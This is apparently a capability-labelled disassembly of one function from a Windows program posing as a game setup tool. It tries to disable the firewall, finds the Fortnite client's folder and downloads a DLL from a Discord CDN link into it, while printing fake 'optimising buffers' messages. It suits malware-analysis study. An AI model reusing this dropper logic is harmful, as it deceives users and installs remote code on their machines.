Function at 0x140001840
Capabilities:
Check if file exists
Download url
Enumerate processes
Get file attributes
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x320], rax
xor r12d, r12d
call fcn.140001420
mov rcx, qword [0x1400076c8]
test al, al
je 0x14000192a
lea edx, [r12 + 4]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Firewall_is_enabled.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea edx, [r12 + 3]
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Disabling_Firewall...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001620
mov rcx, qword [0x1400076c8]
test al, al
je 0x140001916
lea edx, [r12 + 2]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Firewall_Disabled_
jmp 0x14000193c
mov edx, 4
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Cant_Disable_firewall._Contact_google...
jmp 0x14000193c
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Firewall_is_not_enabled.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], 6
mov r13d, 0xf
mov qword [rbp - 0x30], r13
mov eax, dword [str.mf.dll]
mov dword [rbp - 0x48], eax
movzx eax, word [0x1400045c8]
mov word [rbp - 0x44], ax
mov byte [rbp - 0x42], r12b
mov edi, r12d
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400019bc
lea edx, [rax + 5]
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Error_creating_a_snapshot_of_processes.
jmp 0x140001a84
mov dword [rbp - 0x20], 0x130
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1400019fa
lea rdx, str.FortniteClient_Win64_Shipping.exe
lea rcx, [rbp + 0xc]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x1400019f7
lea rdx, [rbp - 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
jmp 0x1400019d0
mov edi, dword [rbp - 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x140001a20
lea edx, [rdi + 4]
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Please_launch_the_app_for_setup_trust_list...
jmp 0x140001a84
mov r8d, edi
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001a51
lea edx, [rax + 4]
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Error_opening_the_process.
jmp 0x140001a84
mov r9d, 0x104
lea r8, [rbp + 0x110]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
jne 0x140001ab5
lea edx, [rax + 4]
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Error_getting_the_process.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002690
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 1
jmp 0x140002371
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], r12
lea rax, [rbp + 0x110]
mov r14, 0xffffffffffffffff
mov rbx, r14
nop
inc rbx
cmp word [rax + rbx*2], 0
jne 0x140001ae0
movabs rsi, 0x7ffffffffffffffe
cmp rbx, rsi
ja 0x1400023f0
movabs r15, 0x7fffffffffffffff
mov qword [rbp - 0x70], 7
cmp rbx, 8
jae 0x140001b3b
mov qword [rbp - 0x78], rbx
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x110]
lea rcx, [rsp + 0x78]
call sub.VCRUNTIME140.dll_memcpy
mov word [rsp + rbx + 0x78], r12w
jmp 0x140001bda
mov rax, rbx
or rax, 7
cmp rax, rsi
jbe 0x140001b4d
lea rcx, [r15 + r15]
jmp 0x140001b75
mov rsi, rax
mov ecx, 0xa
cmp rax, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
cmp rcx, r15
ja 0x1400023ea
add rcx, rcx
cmp rcx, 0x1000
jb 0x140001ba1
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400023ea
mov rcx, rax
call fcn.140002bb0
test rax, rax
je 0x140002353
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001bb3
test rcx, rcx
je 0x140001bb0
call fcn.140002bb0
mov rdi, rax
jmp 0x140001bb3
mov rdi, r12
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x78], rbx
mov qword [rbp - 0x70], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x110]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov word [rdi + rbx], r12w
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
mov rax, qword [rbp - 0x78]
lea rsi, [rdx + rax*2]
lea rdi, [rsp + 0x78]
cmovae rdi, qword [rsp + 0x78]
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov ecx, 0x16
cmp rdi, rsi
jne 0x140001c2a
mov rax, r12
mov qword [rsp + 0x68], rax
mov ecx, 0xf
mov qword [rsp + 0x70], rcx
mov byte [rsp + 0x58], al
jmp 0x140001d31
mov rax, rsi
sub rax, rdi
sar rax, 1
mov rdx, r12
mov qword [rsp + 0x68], rdx
mov ebx, 0xf
mov qword [rsp + 0x70], rbx
cmp rax, r15
ja 0x1400023f6
cmp rax, 0x10
jb 0x140001ce0
mov rbx, rax
or rbx, 0xf
cmp rbx, r15
jbe 0x140001c69
mov rbx, r15
jmp 0x140001c70
cmp rbx, rcx
cmovb rbx, rcx
mov rcx, rbx
add rcx, 1
cmovb rcx, r14
cmp rcx, 0x1000
jb 0x140001cb8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400023fc
mov rcx, rax
call fcn.140002bb0
mov rcx, rax
test rax, rax
je 0x1400022fc
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
mov rdx, qword [rsp + 0x68]
jmp 0x140001ccc
test rcx, rcx
je 0x140001cc9
call fcn.140002bb0
mov rdx, qword [rsp + 0x68]
jmp 0x140001ccc
mov rax, r12
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x70], rbx
nop word [rax + rax]
lea rcx, [rsp + 0x58]
cmp rbx, 0x10
cmovae rcx, qword [rsp + 0x58]
movzx eax, byte [rdi]
mov byte [rcx + rdx], al
mov rdx, qword [rsp + 0x68]
inc rdx
mov qword [rsp + 0x68], rdx
add rdi, 2
cmp rdi, rsi
je 0x140001d12
mov rbx, qword [rsp + 0x70]
jmp 0x140001ce0
lea rax, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rax, qword [rsp + 0x58]
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0x68]
lea rsi, [rsp + 0x58]
cmp rcx, 0x10
cmovae rsi, qword [rsp + 0x58]
mov edi, 0x21
cmp rax, rdi
jb 0x140001db3
lea r14, [rsi + rax]
lea r8, [r14 - 0x20]
sub r8, rsi
lea edx, [rdi + 0x25]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
je 0x140001da5
nop dword [rax + rax]
mov r8, rdi
lea rdx, str.FortniteClient_Win64_Shipping.exe
mov rcx, rbx
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x140001dae
inc rbx
lea r8, [r14 - 0x20]
sub r8, rbx
mov edx, 0x46
mov rcx, rbx
call sub.VCRUNTIME140.dll_memchr
mov rbx, rax
test rax, rax
jne 0x140001d70
mov rbx, 0xffffffffffffffff
jmp 0x140001db6
sub rbx, rsi
jmp 0x140001db6
mov rbx, r14
cmp rbx, 0xffffffffffffffff
je 0x140001e6b
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x48], 0xf
mov ecx, 0x30
call fcn.140002bb0
mov rsi, rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], 0x2f
movups xmm0, xmmword [str.FortniteClient_Win64_Shipping.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400045b0]
movups xmmword [rax + 0x10], xmm1
movzx eax, byte [0x1400045c0]
mov byte [rsi + 0x20], al
mov byte [rsi + 0x21], 0
mov r14, qword [rsp + 0x68]
cmp r14, rbx
jb 0x140002402
mov rax, r14
sub rax, rbx
cmp rax, 0x21
cmovb rdi, rax
lea rcx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rcx, qword [rsp + 0x58]
add rcx, rbx
sub r14, rdi
mov r8, r14
sub r8, rbx
inc r8
lea rdx, [rcx + rdi]
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x68], r14
mov edx, 0x30
mov rcx, rsi
call fcn.140002bec
mov edx, 2
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rsi, qword [rsp + 0x68]
mov rax, r15
sub rax, rsi
cmp rax, 1
jb 0x1400023de
lea r15, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae r15, qword [rsp + 0x58]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea r14, [rsi + 1]
mov ebx, 0xf
lea rdi, [rsp + 0x30]
cmp r14, rbx
jbe 0x140001f54
mov rbx, r14
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
jbe 0x140001f0d
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002bb0
test rax, rax
je 0x140001f36
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140001f4f
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140001f3d
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400023e4
jmp 0x140001ef2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x140001f4c
call fcn.140002bb0
mov rdi, rax
jmp 0x140001f4f
mov rdi, r12
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], rbx
mov r8, rsi
mov rdx, r15
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0x5c
mov byte [rdi + r14], 0
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rdi
cmp rax, 6
jb 0x140001fc2
lea rax, [rdi + 6]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 0x10
cmovae rbx, qword [rsp + 0x30]
lea rcx, [rbx + rdi]
mov r8d, 6
lea rdx, [rbp - 0x48]
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + rdi + 6], 0
lea rax, [rsp + 0x30]
jmp 0x140001fe2
mov qword [rsp + 0x20], 6
lea r9, [rbp - 0x48]
mov edx, 6
lea rcx, [rsp + 0x30]
call fcn.1400029f0
mov r13, qword [rbp - 0x30]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x58], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x58], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14000204f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000204a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000204a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002bec
movdqa xmm0, xmmword [0x140004800]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, 1
cmp eax, 0xffffffff
je 0x14000209d
test al, 0x10
jne 0x14000209d
lea edx, [rbx + 1]
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Trust_list_already_exists.
jmp 0x140002100
mov edx, ebx
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea r8, [rbp - 0x68]
cmp qword [rbp - 0x50], 0x10
cmovae r8, qword [rbp - 0x68]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, str.https:__cdn.discordapp.com_attachments_1114460816268329042_1167842210235043880_d3dgear64.dll
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov rcx, qword [0x1400076c8]
test eax, eax
jne 0x1400020ee
lea edx, [rax + 2]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Setup_trust_list_done
jmp 0x140002100
mov edx, 4
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Failed_to_setup_trust_list...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Adding_exceptions...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Optimising_Buffers...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Unloading_buffer_0x1e0...
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Allocating_temp_buffer_at_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
mov rdx, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, ebx
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Deliting_temp_buffer_at_0x
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
mov rdx, qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const____ptr64____ptr64]
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov edx, 2
mov rcx, qword [0x1400076c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea rdx, str.Now_restart_your_computer__all_setups_is_done_
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002690
lea rdx, [0x140002860]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, r12d
mov rdx, qword [rbp - 0x50]
cmp rdx, 0x10
jb 0x1400022b7
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400022b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400022b2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002bec
movdqa xmm0, xmmword [0x140004800]
movdqu xmmword [rbp - 0x58], xmm0
mov byte [rbp - 0x68], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140002308
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002303
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002303
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002bec
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x14000235f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000235a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000235a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002bec
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], r12w
cmp r13, 0x10
jb 0x1400023ac
lea rdx, [r13 + 1]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400023a7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400023a7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002bec
mov eax, ebx
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140002b90
lea r11, [rsp + 0x430]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011c0
nop
call fcn.140001120
nop
call fcn.140001120
int3
call fcn.1400011c0
nop
call fcn.1400011c0
int3
call fcn.140001120
nop
call fcn.140002670
int3